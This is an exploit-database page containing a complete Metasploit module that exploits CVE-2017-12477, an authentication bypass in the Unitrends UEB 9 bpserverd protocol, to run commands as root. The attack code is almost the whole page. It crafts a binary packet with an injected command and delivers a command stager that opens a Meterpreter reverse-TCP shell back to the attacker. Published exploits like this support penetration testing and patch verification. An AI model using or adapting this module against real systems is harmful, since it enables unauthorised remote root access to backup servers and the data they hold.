Unitrends UEB 9 - bpserverd Authentication Bypass Remote Command Execution (Metasploit)

Properties

Published:
24.10.2017
Target:
Unitrends UEB 9

Code

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Unitrends UEB bpserverd authentication bypass RCE',
      'Description'    => %q{
       It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
       has an issue in which its authentication can be bypassed.  A remote attacker could use this
       issue to execute arbitrary commands with root privilege on the target system.
      },
      'Author'         =>
        [
          'Jared Arave',  # @iotennui
          'Cale Smith',   # @0xC413
          'Benny Husted'  # @BennyHusted
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch' => [ARCH_X86],
      'CmdStagerFlavor' => [ 'printf' ],
      'References'     =>
        [
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],
          ['CVE', '2017-12477'],
        ],
      'Targets'        =>
        [
          [ 'UEB 9.*', { } ]
        ],
      'Privileged'     => true,
      'DefaultOptions' => {
          'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
          'SSL' => false
        },
      'DisclosureDate'  => 'Aug 8 2017',
      'DefaultTarget'   => 0))
    register_options([
        Opt::RPORT(1743)
      ])
    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end
 
  def check
    s1 = connect(global = false)
    buf1  = s1.get_once(-1).to_s
    #parse out the bpd port returned
    bpd_port = buf1[-8..-3].to_i
 
    #check if it's a valid port number (1-65534)
    if bpd_port && bpd_port >= 1 && bpd_port <= 65535
      Exploit::CheckCode::Detected
    else
      Exploit::CheckCode::Safe
    end
  end
 
  def execute_command(cmd, opts = {})
 
    #append a comment, ignore everything after our cmd
    cmd = cmd + " #"
 
    # build the attack buffer...
    command_len = cmd.length + 3
    packet_len = cmd.length + 23
    data =  "\xa5\x52\x00\x2d"
    data << "\x00\x00\x00"
    data << packet_len
    data << "\x00\x00\x00"
    data << "\x01"
    data << "\x00\x00\x00"
    data << "\x4c"
    data << "\x00\x00\x00"
    data << command_len
    data << cmd
    data << "\x00\x00\x00"
 
    begin
      print_status("Connecting to xinetd for bpd port...")
      s1 = connect(global = false)
      buf1  = s1.get_once(-1).to_s
 
      #parse out the bpd port returned, we will connect back on this port to send our cmd
      bpd_port = buf1[-8..-3].to_i
 
      print_good("bpd port recieved: #{bpd_port}")
      vprint_status("Connecting to #{bpd_port}")
 
      s2 = connect(global = false, opts = {'RPORT'=>bpd_port})
      vprint_good('Connected!')
 
      print_status('Sending command buffer to xinetd')
 
      s1.put(data)
      s2.get_once(-1,1).to_s
 
      disconnect(s1)
      disconnect(s2)
 
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")
    end
 
  end
 
  def exploit
    print_status("#{peer} - pwn'ng ueb 9....")
    execute_cmdstager(:linemax => 200)
  end
end